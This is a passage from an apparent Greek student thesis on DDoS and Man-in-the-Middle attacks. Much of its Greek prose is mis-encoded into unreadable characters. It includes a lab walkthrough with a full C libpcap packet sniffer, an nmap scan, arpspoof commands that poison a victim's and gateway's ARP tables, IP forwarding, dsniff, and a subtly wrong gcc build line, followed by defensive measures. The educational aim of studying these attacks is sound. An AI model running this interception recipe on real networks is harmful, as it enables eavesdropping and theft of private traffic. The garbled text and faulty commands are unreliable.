ζηελ θίλεζε ζην Γηαδίθηπν.  

 Με απηόλ ηνλ ηξόπν, εληνπίδνληαη ηα ςεπδή αηηήκαηα πνπ θαηαθιύδνπλ ηα 

ζπζηήκαηα θαη έπεηηα γίλεηαη ν απνθιεηζκόο απηώλ.  

 

 Να ππάξρεη έλα ζρέδην απνθαηάζηαζεο θαηαζηξνθώλ ζε πεξίπησζε πνπ κηα 

επίζεζε DDoS ρηππήζεη ηνλ ηζηόηνπν ή ηα ζπζηήκαηα κηαο εηαηξείαο.  

 Απηό κπνξεί λα πεξηιακβάλεη ηελ ύπαξμε εθεδξηθώλ δηαθνκηζηώλ 

ηζηόηνπνπ θαη ελαιιαθηηθώλ θαλαιηώλ επηθνηλσλίαο.  

 

 Μεηάβαζε ζην cloud.  

 Απηό δελ ζα εμαιείςεη ηελ απεηιή, αιιά κπνξεί λα βνεζήζεη ζηνλ 

κεηξηαζκό ησλ επηζέζεσλ ιόγσ ηνπ πςειόηεξνπ εύξνπο δώλεο θαη ηεο 

αλζεθηηθόηεηαο ηεο cloud ππνδνκήο θ.α. (eset). 

 

 

 



 

Δπηζέζεηο Man in the Middle  

 

Η επίζεζε Man-in-the-Middle (MitM) απνηειεί κηα από ηηο πην επηθίλδπλεο θαη 

δηαδεδνκέλεο επηζέζεηο ζηνλ ρώξν ηεο θπβεξλναζθάιεηαο. Καηά ηε δηάξθεηα κηαο 

επίζεζεο MitM, έλαο θαθόβνπινο επηηηζέκελνο εηζβάιιεη αλάκεζα ζε δύν 

επηθνηλσλνύληεο ζπζθεπέο ή ρξήζηεο, αθαηξώληαο ην απόξξεην θαη ηελ αθεξαηόηεηα 

ησλ επηθνηλσληώλ ηνπο.  

 

Απηή ε επίζεζε επηηξέπεη ζηνλ επηηηζέκελν λα παξαθνινπζεί ή αθόκα θαη λα 

αιινηώλεη ηηο επηθνηλσλίεο ρσξίο λα ην θαηαιάβνπλ νη ελδηαθεξόκελνη. ην παξόλ 

ζεκείν ηεο εξγαζίαο, ζα αλαιπζεί ε επίζεζε MitM ζε ζεσξεηηθό επίπεδν θαη ζηελ 

ζπλέρεηα ζα παξνπζηαζηεί θαη πξαθηηθά πσο κπνξεί λα επηηεπρζεί κία ηέηνηα επίζεζε. 

Δπίζεο ζα αλαδεηρζνύλ θαη νη κέζνδνη πνπ ρξεζηκνπνηεί ν επηηηζέκελνο, θαζώο θαη 

ηηο πξαθηηθέο αζθαιείαο πνπ κπνξνύλ λα εθαξκνζηνύλ γηα ηελ αληηκεηώπηζή ηεο.  

 

Η επίζεζε Man-in-the-Middle αλαδεηθλύεηαη σο κηα επηζεηηθή ηερληθή όπνπ έλαο 

επηηηζέκελνο κπαίλεη αλάκεζα ζε δύν επηθνηλσλνύληα κέξε, παξαβηάδνληαο ηελ 

εκπηζηνζύλε θαη ηνλ έιεγρν ησλ επηθνηλσληώλ. ε πνιιέο πεξηπηώζεηο, νη επηζέζεηο 

MitM ζπκβαίλνπλ ζην πιαίζην αζύξκαησλ δηθηύσλ, δεκόζησλ Wi-Fi ζεκείσλ 

πξόζβαζεο, ή θαη ζε δίθηπα κε ππνθινπή δεδνκέλσλ.  

 

Μέθοδοι Επίθεζης MitM:  

 

Οη επηηηζέκελνη ρξεζηκνπνηνύλ δηάθνξεο κεζόδνπο γηα λα εθηειέζνπλ επηζέζεηο 

MitM. Οξηζκέλεο από απηέο πεξηιακβάλνπλ:  

 

 Δπίζεζε ARP Spoofing: Οη επηηηζέκελνη παξαπνηνύλ ηνπο πίλαθεο ARP 

(Address Resolution Protocol) ζην δίθηπν, θαηεπζύλνληαο ηελ θπθινθνξία 

δεδνκέλσλ πξνο ηνλ επηηηζέκελν.  

 

 Δπίζεζε DNS Spoofing: Οη επηηηζέκελνη παξαπνηνύλ απαληήζεηο DNS, 

αλαθαηεπζύλνληαο ηελ θπθινθνξία πξνο θαθόβνπιεο ηζηνζειίδεο.  



 

 Υξήζε Γηθηπαθνύ Sniffing: Οη επηηηζέκελνη ρξεζηκνπνηνύλ ινγηζκηθό 

παξαθνινύζεζεο γηα λα θαηαγξάθνπλ ηελ θπθινθνξία δεδνκέλσλ κεηαμύ δύν 

ζπζθεπώλ.  

 Δπίζεζε SSL Stripping: Οη επηηηζέκελνη παξαθνινπζνύλ αζθαιείο ζπλεδξίεο 

HTTPS, απνθξππηνγξαθώληαο ηελ θπθινθνξία. πλέπεηεο ησλ Δπηζέζεσλ 

MitM Οη επηζέζεηο MitM κπνξνύλ λα έρνπλ ζνβαξέο ζπλέπεηεο.  

 

Κάπνηεο από απηέο πεξηιακβάλνπλ:  

 

Παξαθνινύζεζε Δπηθνηλσληώλ: Ο επηηηζέκελνο κπνξεί λα παξαθνινπζεί θαη λα 

θαηαγξάθεη επαίζζεηεο πιεξνθνξίεο όπσο θσδηθνί πξόζβαζεο, ηξαπεδηθέο 

πιεξνθνξίεο θαη πξνζσπηθά κελύκαηα.  

 

Αλαθαηεύζπλζε Κπθινθνξίαο: Ο επηηηζέκελνο κπνξεί λα αλαθαηεπζύλεη ηελ 

θπθινθνξία δεδνκέλσλ πξνο θαθόβνπιεο πεγέο, επηηξέπνληαο ηελ εμόξπμε 

πιεξνθνξηώλ ή ηελ εθηέιεζε επηζέζεσλ.  

 

Παξαβίαζε Απνξξήηνπ: Οη επηζέζεηο MitM απνηεινύλ παξαβίαζε ηνπ 

απνξξήηνπ, θαζώο νη επηηηζέκελνη έρνπλ πξόζβαζε ζε επαίζζεηεο πιεξνθνξίεο.  

 

 

Ανηιμεηώπιζη ηων Επιθέζεων MitM 

 

Η αληηκεηώπηζε ησλ επηζέζεσλ MitM απαηηεί ζπλδπαζκό ηερληθώλ θαη πξαθηηθώλ 

αζθαιείαο. Οξηζκέλεο από ηηο ζεκαληηθόηεξεο πξαθηηθέο πνπ κπνξνύλ λα 

εθαξκνζηνύλ πεξηιακβάλνπλ:  

 

1. Υξήζε HTTPS: Η ρξήζε αζθαιώλ ζπλδέζεσλ HTTPS παξέρεη πξνζηαζία 

από επηζέζεηο SSL Stripping θαη θαζηζηά δπζθνιόηεξε ηελ 

απνθξππηνγξάθεζε ηεο θπθινθνξίαο.  

 



 

2. Αλίρλεπζε Δπηζέζεσλ: Η ρξήζε ιύζεσλ αλίρλεπζεο θαη απνηξνπήο MitM, 

όπσο ηα Intrusion Detection Systems (IDS) θαη Intrusion Prevention Systems 

(IPS), κπνξεί λα αληρλεύζεη θαη λα απνηξέςεη αλεπηζύκεηεο επηζέζεηο.  

 

3. Γηπιή Παξαθνινύζεζε: Οη ρξήζηεο κπνξνύλ λα ρξεζηκνπνηνύλ εθαξκνγέο 

δηπιήο παξαθνινύζεζεο όπνπ ν θσδηθόο αζθαιείαο πξέπεη λα επηβεβαηώλεηαη 

κέζσ δεύηεξεο ζπζθεπήο.  

 

4. Δλεκέξσζε: Η ζπλερήο ελεκέξσζε γηα ηηο επηζέζεηο MitM θαη ηηο λέεο 

απεηιέο είλαη θξίζηκε γηα ηελ πξόιεςε.  

 

Δπνκέλσο ε επίζεζε Man-in-the-Middle απνηειεί θαη απηή κία από ηηο πην 

επηθίλδπλεο θπβεξλνεπηζέζεηο πνπ απεηινύλ ηελ αζθάιεηα θαη ην απόξξεην ησλ 

δεδνκέλσλ. Η θαιή θαηαλόεζε ησλ κεζόδσλ επίζεζεο θαη ε εθαξκνγή πξαθηηθώλ 

αζθαιείαο είλαη δσηηθέο γηα ηελ πξνζηαζία από απηόλ ηνλ ηύπν επίζεζεο. Οη ρξήζηεο 

θαη νη δηαρεηξηζηέο δηθηύνπ πξέπεη λα είλαη ελήκεξνη θαη πξνεηνηκαζκέλνη γηα ηελ 

αληηκεηώπηζε ησλ επηζέζεσλ MitM, πξνθεηκέλνπ λα δηαζθαιίζνπλ ηελ αζθάιεηα ησλ 

επηθνηλσληώλ θαη ησλ δεδνκέλσλ ηνπο. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

ηξαηεγηθέο Αληηκεηώπηζεο  

 

Η αληηκεηώπηζε ησλ επηζέζεσλ ζηνλ θπβεξλνρώξν απαηηεί ζπλνιηθή πξνζέγγηζε, 

ζπκπεξηιακβαλνκέλεο ηεο πξόιεςεο, ηεο αλίρλεπζεο θαη ηεο αληίδξαζεο. Δπηπιένλ, 

είλαη απαξαίηεην λα δηακνξθσζνύλ πνιηηηθέο αζθαιείαο, λα εθπαηδεπηεί ην 

πξνζσπηθό θαη λα δηαηεξεζνύλ ελεκεξσκέλεο νη ηερληθέο ιύζεηο.  

 

Όπσο παξνπζηάζηεθε ήδε πνιιέο από ηηο παξαπάλσ επηζέζεηο έρνπλ θαη ηνπο δηθνύο 

ηνπο ηξόπνπο αληηκεηώπηζεο, παξόια απηά πξέπεη λα ππάξρνπλ ζπλερόκελα test ζην 

εθάζηνηε ζύζηεκα. Test ζηα ζπζηήκαηα ελλννύκε ηα penetration testing, έιεγρνπο 

από έλα blue θαη red team, νη νπνίνη ζα πξνζπαζήζνπλ κε απόπεηξεο δηείζδπζεο, 

επηζέζεηο πηζαλέο πνπ ζα κπνξνύζε λα δερηεί ην ζύζηεκα θαη ειέγρνπο λα 

αλαθαιύςνπλ πηζαλέο «ηξύπεο» θαη αδπλακίεο ζηα πιεξνθνξηαθά ζπζηήκαηα ηεο 

θάζε εηαηξείαο θαη επηρείξεζεο γηα λα είλαη πην αζθαιή. θνπόο επίζεο απηώλ ησλ 

ηεζη είλαη λα γλσξίδνπλ θαη λα δηνξζώζνπλ ηηο αδπλακίεο ηνπο. Η ζπλερήο εμέιημε 

ησλ ηερληθώλ επηζέζεσλ απαηηεί επίζεο ηελ ελεκέξσζε ησλ κέηξσλ αζθαιείαο.  

 

πκπεξαζκαηηθά ε αλάιπζε θαη ε θαηαλόεζε δηαθόξσλ ηύπσλ επηζέζεσλ ζηνλ 

θπβεξλνρώξν απνηεινύλ ζεκειηώδε βήκαηα γηα ηελ πξνζηαζία ησλ ζπζηεκάησλ θαη 

ησλ πιεξνθνξηώλ. Η αληηκεηώπηζε απηώλ ησλ απεηιώλ απαηηεί ηελ ρξήζε ηερληθώλ 

θαη ηερλνινγηθώλ κέζσλ.  

 

ε απηό ην θεθάιαην, έρνπλ εμεηαζηεί ηξεηο από ηνπο ζεκαληηθόηεξνπο ηύπνπο 

επηζέζεσλ ζηνλ θπβεξλνρώξν θαη ηηο ζηξαηεγηθέο πνπ κπνξνύλ λα ρξεζηκνπνηεζνύλ 

γηα ηελ αληηκεηώπηζή ηνπο. Δίλαη αλαγθαίν λα ζπλερηζηεί ε έξεπλα θαη ε αλάπηπμε 

ζηνλ ηνκέα ηεο θπβεξλναζθάιεηαο πξνθεηκέλνπ λα δηαζθαιηζηεί ε αζθάιεηα ηνπ 

ςεθηαθνύ θόζκνπ. 

 

 

 

 

 

 

 



 

Κεθάιαην 2
ν 
: Δπηζέζεηο Man in the middle  

Η επίζεζε  

 

ε απηό ην θεθάιαην, αθνύ ήδε αλαιύζεθε ηη είλαη κία επίζεζε man in the middle, ζα 

παξνπζηαζηεί θαη ε πινπνίεζή ηεο. Η επίζεζε man-in-the-middle (MitΜ) είλαη κηα 

θνηλή παξαβίαζε αζθάιεηαο. Ο επηηηζέκελνο παξεκπνδίδεη ηε λόκηκε επηθνηλσλία 

κεηαμύ δύν κεξώλ, ηα νπνία είλαη θηιηθά κεηαμύ ηνπο. ηε ζπλέρεηα, ν θαθόβνπινο 

host ειέγρεη ηε ξνή επηθνηλσλίαο θαη κπνξεί λα απνζπάζεη ή λα αιιάμεη πιεξνθνξίεο 

πνπ ζηέιλνληαη από έλαλ από ηνπο αξρηθνύο ζπκκεηέρνληεο. Οη επηζέζεηο MitM 

εθαξκόδνληαη ηδηαίηεξα ζην πξσηόθνιιν Diffie-Hellman, όηαλ ε ζπκθσλία 

αληαιιαγήο θιεηδηώλ γίλεηαη ρσξίο επηθύξσζε (authentication) (A. Menezes, P. van 

Oorschot, and S. Vanstone, 1996). 

 

Οη επηζέζεηο man-in-the-middle έρνπλ δύν θνηλέο κνξθέο: ν επηηηζέκελνο είηε 

ππνθιέπηεη (θξπθαθνύεη) ηελ επηθνηλσλία ( Simson Garfinkel, Gene Spafford, Alan 

Schwartz, 2003), είηε ππνθιέπηεη θαη αιινηώλεη θαηάιιεια ην κήλπκα. Με 

ππνθινπή, (Garman, 2003) έλαο επηηηζέκελνο αθνύεη απιά έλα ζύλνιν κεηαδόζεσλ 

θαη από δηαθνξεηηθνύο hosts αθόκα θη αλ ν ππνινγηζηήο ηνπ επηηηζέκελνπ δελ είλαη 

ζπκβαιιόκελν κέξνο ζηε ζπλδηάιεμε.  

 

Πνιινί ζρεηίδνπλ απηόλ ηνλ ηύπν επίζεζεο κε δηαξξνή, θαηά ηελ νπνία επαίζζεηεο 

πιεξνθνξίεο κπνξνύλ λα απνθαιπθζνύλ ζε έλαλ ηξίην, ρσξίο απηό λα είλαη ζε γλώζε 

ησλ λόκηκσλ ρξεζηώλ. Οη επηζέζεηο θαηά ηηο νπνίεο πξνθαιείηαη αιινίσζε ηνπ 

κελύκαηνο βαζίδνληαη ζηελ ηθαλόηεηα ηνπ επηηηζέκελνπ λα θξπθαθνύεη. Ο 

επηηηζέκελνο παίξλεη απηή ηελ κε εμνπζηνδνηεκέλε απόθξηζε, έλα ξεύκα δεδνκέλσλ 

δειαδή (data stream), αιιάδνληαο ηα πεξηερόκελα ώζηε λα ηθαλνπνηνύλ έλαλ 

νξηζκέλν ζθνπό - πηζαλόλ ρξεζηκνπνηώληαο ςεπδή δηεύζπλζε IP, αιιάδνληαο ηελ 

δηεύζπλζε MAC γηα λα κηκεζεί θάπνην άιιν host ή θάλνληαο θάπνηα άιιε 

ηξνπνπνίεζε (Garman, 2003). 

 

Παξνπζηάδεηαη ινηπόλ έλα παξάδεηγκα γηα λα θαηαλνεζνύλ θαιύηεξα ηα παξαπάλσ. 

Έζησ όηη ε Alice ζέιεη λα επηθνηλσλήζεη κε ηνλ Bob. Αλάκεζα από ηελ Alice θαη ηνλ 

Bob βξίζθεηαη ε Mallory ε νπνία ζέιεη λα παξαθνινπζήζεη ηελ ζπδήηεζε αιιά θαη 



 

ελδερνκέλσο θαη λα ηελ παξαπνηήζεη (ρσξίο λα ην θαηαιάβεη ε Alice θαη ν Bob). 

ηελ αξρή ηεο επηθνηλσλίαο ε Alice δεηά από ηνλ Bob λα ζηείιεη ην δεκόζην θιεηδί 

ηνπ. Δάλ ν Bob ζηείιεη ην δεκόζην θιεηδί ηνπ ζηελ Alice, ε Mallory κπνξεί λα ην 

ππνθιέςεη, έηζη μεθηλά ε επίζεζε "Man in the middle". Η Mallory ζηέιλεη έλα πιαζηό 

κήλπκα ζηελ Alice όπνπ ζηε ζέζε ηνπ δεκόζηνπ θιεηδηνύ ηνπ Bob ζηέιλεη ην δηθό 

ηεο δεκόζην θιεηδί.  

 

 

Δηθόλα 2: Μan in the middle attack (Lady 6thofAu , 2006) 

 

Η Alice ιακβάλεη ην πιαζηό θιεηδί ηεο Mallory ην νπνίν ζεσξεί όηη αλήθεη ζηνλ Bob. 

Κξππηνγξαθεί ην κήλπκα κε ην πιαζηό θιεηδί ηεο Mallory θαη ζηέιλεη ην κήλπκα 

ζηνλ Bob. Η Mallory ππνθιέπηεη ην κήλπκα απηό (ην απνθξππηνγξαθεί κε ην 

ηδησηηθό θιεηδί ηεο), αλ ζέιεη ην παξαπνηεί, θαη ην ζηέιλεη θξππηνγξαθεκέλν κε ην 

δεκόζην θιεηδί ηνπ Bob, ζηνλ Bob. Όηαλ ν Bob ιακβάλεη ην πιαζηνγξαθεκέλν 

κήλπκα από ηελ Mallory, ην απνθξππηνγξαθεί ρξεζηκνπνηώληαο ην ηδησηηθό ηνπ 

θιεηδί, θαη ζεσξεί όηη ην κήλπκα έρεη ζηαιζεί από ηελ Alice (αγλνώληαο όηη ε 

Mallory έρεη ππνθιέςεη ηελ επηθνηλσλία θαη ίζσο έρεη πιαζηνγξαθήζεη ην κήλπκα 

ηεο Alice). 

 

Αθνύ δόζεθε έλα ζεσξεηηθό παξάδεηγκα ζα παξνπζηαζηεί πσο κπνξεί λα γίλεη θαη 

πξαθηηθά κία ηέηνηα επίζεζε. ηελ πεξίπησζε πνπ ζα παξνπζηαζηεί, ππάξρνπλ 3 

ζπζθεπέο. Η κία είλαη έλα Ubuntu κεράλεκα πνπ επηθνηλσλεί κε ην δίθηπν θαη έλα 

Kali linux κεράλεκα πνπ είλαη ν επηηηζέκελνο κεηαμύ ηελ επηθνηλσλίαο απηήο. 

 



 

ηελ ζπλέρεηα ν θαθόβνπινο host ζηελ πεξίπησζή είλαη ν ππνινγηζηήο Kali linux 

ειέγρεη ηε ξνή επηθνηλσλίαο κεηαμύ δηθηύνπ θαη Ubuntu θαη κπνξεί λα απνζπάζεη ή 

λα αιιάμεη πιεξνθνξίεο πνπ ζηέιλνληαη κεηαμύ δηθηύνπ θαη κεραλήκαηνο Ubuntu. 

 

 

Δηθόλα 3: MitM επίζεζε 

 

Γηα λα πξαγκαηνπνηεζεί απηή ε επίζεζε ζα πξέπεη λα αθνινπζεζνύλ θάπνηα βήκαηα 

όπσο παξνπζηάδνληαη παξαθάησ. Αξρηθά, πξέπεη λα δεκηνπξγεζεί έλαο packet sniffer.  

 

Packet Sniffer 

 

Δδώ είλαη κηα γεληθή επηζθόπεζε ηνπ πώο δεκηνπξγείηαη θαη ιεηηνπξγεί έλαο packet 

sniffer:  

 

1. Δπηινγή κηαο γιώζζαο πξνγξακκαηηζκνύ: Γιώζζα πξνγξακκαηηζκνύ όπσο 

C++, Python, Java θ.ιπ. γηα ηε δεκηνπξγία ελόο packet sniffer.  



 

2. Υξήζε θαηάιιεισλ βηβιηνζεθώλ: Οη πεξηζζόηεξεο γιώζζεο 

πξνγξακκαηηζκνύ παξέρνπλ βηβιηνζήθεο γηα ηε δεκηνπξγία ελόο packet 

sniffer. Γηα παξάδεηγκα, ζηελ πεξίπησζε ηεο Python, κπνξεί λα 

ρξεζηκνπνηεζεί ε βηβιηνζήθε Scapy.  

3. Αθξόαζε θαη επεμεξγαζία παθέησλ: Σν packet sniffer ζαξώλεη ηελ 

θπθινθνξία δεδνκέλσλ ζην δίθηπν, ιακβάλεη παθέηα δεδνκέλσλ πνπ πεξλνύλ 

από απηό θαη επεμεξγάδεηαη ην πεξηερόκελν ηνπο.  

4. Δκθάληζε ησλ δεδνκέλσλ: Σν packet sniffer κπνξεί λα εκθαλίδεη ην 

πεξηερόκελν ησλ παθέησλ, όπσο δηεπζύλζεηο IP, ζύξεο, πεξηερόκελν, θ.ιπ.  

5. Απνζήθεπζε δεδνκέλσλ (εάλ ρξεηάδεηαη): Μπνξνύλ λα απνζεθεπηνύλ ηα 

παθέηα γηα κειινληηθή αλάιπζε. 

 

Γηα ηνλ ζθνπό ηεο εξγαζίαο απηήο θηηάρηεθε έλαο packet sniffer ζε γιώζζα 

πξνγξακκαηηζκνύ C θαη είλαη ν θώδηθαο παξαθάησ: 

#include <pcap.h> 

#include <stdio.h> 

 

int main(int argc, char *argv[]) 

 

{ 

pcap_t *handle; /* Session handle */ 

char *dev; /* The device to sniff on */ 

char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */ 

struct bpf_program fp; /* The compiled filter */ 

char filter_exp[] = "port 443"; /* The filter expression */ 

bpf_u_int32 mask; /* Our netmask */ 

bpf_u_int32 net; /* Our IP */ 

struct pcap_pkthdr header; /* The header that pcap gives us */ 

const u_char *packet; /* The actual packet */ 

 

/* Define the device */ 

//pcap_if_t *alldevs = pcap_lookupdev(errbuf); 

pcap_if_t *alldevs, *d; 

pcap_findalldevs(&alldevs, errbuf); 

 

int i =0 ; 

for(d= alldevs; d != NULL; d= d->next) 

{ 

printf("%d. %s", ++i, d->name); 

if (d->description) 

printf(" (%s)\n", d->description); 

else 

printf(" (No description available)\n"); 

} 

 

dev = "any"; 

if (dev == NULL) { 

fprintf(stderr, "Couldn't find default device: %s\n", errbuf); 



 

return(2); 

} 

 

/* Find the properties for the device */ 

if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { 

fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf); 

net = 0; 

mask = 0;} 

/* Open the session in promiscuous mode */ 

handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); 

if (handle == NULL) { 

fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf); 

return(2); 

} 

 

/* Compile and apply the filter */ 

if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) { 

fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle)); 

return(2); 

} 

 

if (pcap_setfilter(handle, &fp) == -1) { 

fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle)); 

return(2); 

} 

 

/* Grab a packet */ 

pcap_dumper_t *dumper = pcap_dump_open(handle, "test.pcap"); 

int packetCount = 0; 

do {  

packet = pcap_next(handle, &header); //perimenei na erthei to paketo 

printf("Jacked a packet with length of [%d]\n", header.len); 

pcap_dump((u_char *)dumper, &header, packet); 

packetCount++; 

} while(packetCount < 100); 

pcap_dump_close(dumper); 

 

/* Print its length */ 

/* And close the session */ 

pcap_close(handle);  

return(0); 

} 

 

Με ηνλ παξαπάλσ ελδεηθηηθό θαη ιεηηνπξγηθό θώδηθα ηνπ δεηάεη λα θάλεη capture 

100 παθέηα όισλ ησλ ζπζθεπώλ γηα όιεο ηηο ζπζθεπέο κε κόλν θίιηξν λα έρεη ζαλ 

port ην 443. 

 

Αθνύ θηηάρηεθε, εθηειείηαη ε παξαθάησ εληνιή γηα λα γίλεη compile o θώδηθαο  

 gcc test.c –lcap –o test.pcapng . 

 



 

Έπεηηα εθηειείηαη ε αθόινπζε εληνιή ζην terminal θαη αξρίδνπλ λα γίλνληαη captured 

ζην αξρείν pcap πνπ έρεη θηηαρηεί κε ηα 100 παθέηα πνπ έρεη δεηεζεί από ην port 443. 

sudo ./test.pcapng  

 

Έπεηηα πξέπεη λα γίλνπλ capture ηα παθέηα πνπ ζα ιεθζνύλ ζηελ κεηαμύ ηνπο 

επηθνηλσλία ηα νπνία πιένλ ππάξρνπλ γηαηί ν επηηηζέκελνο έρεη κπεη ζηελ κέζε απηήο 

ηεο επηθνηλσλίαο, κε ην packet sniffer πνπ θηηάρηεθε.  

 

Όζνλ αθνξά ην θώδηθα ν αξηζκόο πξέπεη λα είλαη ζρεηηθά κεγάινο πρ. 100,  γηα λα 

πξνιάβεη λα καδέςεη αξθεηή πιεξνθνξία ην packet sniffer. 

 

Δληνιέο γηα ηελ επίζεζε 

 

Αθνινπζνύλ 3 βήκαηα γηα λα πινπνηεζεί ε ζπγθεθξηκέλε επίζεζε.  

 

1. Αξρηθά γίλεηαη scanning ην δίθηπν κε ην nmap όπσο θαίλεηαη θαη παξαθάησ:  

 

┌──(asiminaxa㉿kali)-[~/Downloads/Cprograms] 

└─$ nmap 10.0.2.1                              

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-19 06:53 EST 

Nmap scan report for 10.0.2.1 

Host is up (0.0055s latency). 

Not shown: 995 filtered tcp ports (no-response) 

PORT    STATE SERVICE 

80/tcp  open  http 

135/tcp open  msrpc 

445/tcp open  microsoft-ds 

902/tcp open  iss-realsecure 

912/tcp open  apex-mesh 

 

Nmap done: 1 IP address (1 host up) scanned in 21.64 seconds 

 

2. Έπεηηα γίλεηαη ε αιιαγή ηεο ip ηνπ επηηηζέκελνπ κε  ηελ ip ηνπ ζύκαηνο θαη 

ηελ ip ηνπ δηθηύνπ κε arpspoof. 

https://nmap.org/


 

Αξρηθά γίλεηαη θαη ε θαηαγξαθή γηα ην πνηεο είλαη νη δηεπζύλζεηο πνπ ζα 

ρξεζηκνπνηεζνύλ γηα ην man in the middle attack: 

1. Ubuntu – Θύκα: 10.0.2.15 

2. Network (Γίθηπν): 10.0.2.1 

3. Kali Linux – Δπηηηζέκελνο: 10.0.2.4 

 

Εκτελείται η εντολή αυτή για να μάθει ο χρήςτησ ποια είναι η ip και ςτο 

Κali και ςτο Ubuntu 

──(root㉿kali)-[/home/asiminaxa] 

└─# ifconfig 

 

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500 

        inet 10.0.2.4  netmask 255.255.255.0  broadcast 10.0.2.255 

         

Μετά αφού βρεθούν οι διευθύνςεισ γίνεται η επίθεςη, δηλώνοντασ πρώτα με 

ςκοπό να ξεγελάςει τισ δύο μηχανέσ για το ποιοσ είναι ο επιτιθέμενοσ 

για να έρχονται τα δεδομένα ςτον επιτιθέμενο. 

Αρχικά δηλώνεται ςτον 10.0.2.15 που είναι το Ubuntu ότι ο επιτιθέμενοσ 

είναι το 10.0.2.1 δηλαδή το δίκτυο του. 

┌──(root㉿kali)-[/home/asiminaxa] 

└─# arpspoof -i eth0 -t 10.0.2.15 10.0.2.1 

 

Και μετά ςε ένα άλλο terminal ςτο network λέει πωσ είναι ο Ubuntu 

υπολογιςτήσ με διεύθυνςη 10.0.2.15. 

 

┌──(root㉿kali)-[/home/asiminaxa] 

└─# arpspoof -i eth0 -t 10.0.2.1 10.0.2.15 

 

Έπειτα όταν γίνουν αυτά τα βήματα ο χρήςτησ βλέπει πωσ πλέον ο 

υπολογιςτήσ Ubuntu δεν έχει πρόςβαςη ςτο δίκτυο του και αυτό το ελέγχει 

με μια απλή αναζήτηςη ςτο internet. Αυτό γίνεται επειδή πλέον ο 

επιτιθέμενοσ είναι ςτη μέςη και διακόπτει την ςύνδεςη αυτή. 

 

Μετά τρέχει την ακόλουθη εντολή και βλέπει πωσ το Ubuntu έχει και πάλι 

πρόςβαςη ςτο δίκτυο του.  

 

┌──(root㉿kali)-[~] 

└─# echo 1 > /proc/sys/net/ipv4/ip_forward 

                              

Σε αυτό το ςημείο τρέχει και την ακόλουθη εντολή και βλέπει πωσ έχει 

γίνει επιτυχώσ ένα man in the middle attack. 



 

                                                 

┌──(root㉿kali)-[~] 

└─# dsniff 

dsniff: listening on eth0 

 

 

 

Μεηά από απηά ηα βήκαηα ηξέρεη ην αξρείν ηνπ θώδηθα κε ηελ εληνιή απηή ζην 

terminal: sudo ./test.pcapng θαη εκθαλίδνληαη ηα παθέηα πνπ γίλνληαη capture.  

 

Παξνπζηάδεηαη θαη ζε θσηνγξαθίεο παξαθάησ όιε ε δηαδηθαζία βήκα βήκα: 

 

 

Δηθόλα 4: Παξαπιάλεζε ηνπ ζύκαηνο γηα λα κπεη ν επηηηζέκελνο ζηελ επηθνηλσλία 

 



 

 
Δηθόλα 5: Γηαθνπή ηεο ζύλδεζεο ηνπ ρξήζηε κε ην δίθηπν θαζώο ν επηηηζέκελνο είλαη ζηελ κεηαμύ ηνπο 

ζύλδεζε 

 

 

 

Δηθόλα 6: Ο επηηηζέκελνο επηηξέπεη μαλά ζηνλ ρξήζηε λα έρεη πξόζβαζε ζην δίθηπν 



 

 
Δηθόλα 7: Αθνύ ν επηηηζέκελνο θαηέγξαςε ηα παθέηα πνπ πήξε από ην ρξήζηε, πιένλ κπνξεί λα ηα δηαβάζεη 

θαη λα ηα αλαιύζεη κέζα από ην εξγαιείν Wireshark 

 

Πιένλ θαίλεηαη πσο κεηά ην arpspoof ππάξρεη πξόζβαζε ζηελ επηθνηλσλία ηνπ 

Ubuntu θαη ηνπ network. Έγηλαλ capture ηα παθέηα πνπ έξρνληαη κε ηνλ θώδηθα πνπ 

θηηάρηεθε πξνεγνπκέλσο κε κία δηαθνξνπνίεζε ζε απηόλ θαη πιένλ κε θάπνηεο 

αιιαγέο ν λένο θώδηθαο ζα έρεη δύν δηαθνξέο.  Αξρηθά αθαηξείηαη ην θίιηξν γηα ην 

port 443 όπσο επίζεο θαη ηα παθέηα από 100 ζην λα ιακβάλεη 200 παθέηα θαη κεηά 

λα ζηακαηάεη. Έπεηηα εθηειείηαη ε ζπγθεθξηκέλε εληνιή γηα λα γίλεη compile o 

θώδηθαο  gcc test.c –lcap –o test.pcapng . 

 

Έπεηηα  ρξεζηκνπνηείηαη ην εξγαιείν Wireshark γηα λα αλνηρηεί από εθεί ην αξρείν 

test.pcapng πνπ έρεη θηηαρηεί θαη έρεη θάλεη κε ηνλ θώδηθα capture ηα παθέηα απηά 

πνπ πήξε ην επηηηζέκελνο. Η παξαπάλσ ελόηεηα είλαη ην 3
ν
 βήκα απηήο ηεο επίζεζεο 

κε ην νπνίν γίλεηαη capture 200 παθέηα πνπ ζηέιλνληαη κεηαμύ ηνπ Ubuntu θαη ηνπ 

δηθηύνπ. 

 

Μέηξα πξνζηαζίαο γηα ηελ επίζεζε Man in the Middle 

 

Η επίζεζε Man-in-the-Middle (MitM) κε ρξήζε packet sniffer είλαη ζνβαξή θαη 

απαηηεί πξνεγκέλα κέηξα πξνζηαζίαο. Δδώ είλαη κεξηθά κέηξα πνπ κπνξεί λα ιάβεη  



 

θάπνηνο γηα λα πξνζηαηεπηεί από απηνύ ηνπ είδνπο ηηο επηζέζεηο:  

1. Κξππηνγξάθεζε ηεο Δπηθνηλσλίαο: Χξήζε πξσηόθνιισλ επηθνηλσλίαο πνπ 

ππνζηεξίδνπλ θξππηνγξάθεζε. Σν SSL/TLS γηα ηζηνζειίδεο θαη ην VPN γηα 

γεληθέο επηθνηλσλίεο παξέρνπλ πξνζηαζία από packet sniffing.  

2. Υξήζε Αζθαιώλ Γηθηπαθώλ πλδέζεσλ: Απνθπγή ρξήζεο αλνηρηώλ 

δηθηύσλ Wi-Fi, θαζώο είλαη επάισηα ζε επηζέζεηο. Δάλ ρξεηάδεηαη θάπνηνο 

πξόζβαζε ζε δεκόζηα δίθηπα, κπνξεί λα γίλεη ε ρξήζε VPN γηα επηπξόζζεηε 

αζθάιεηα.  

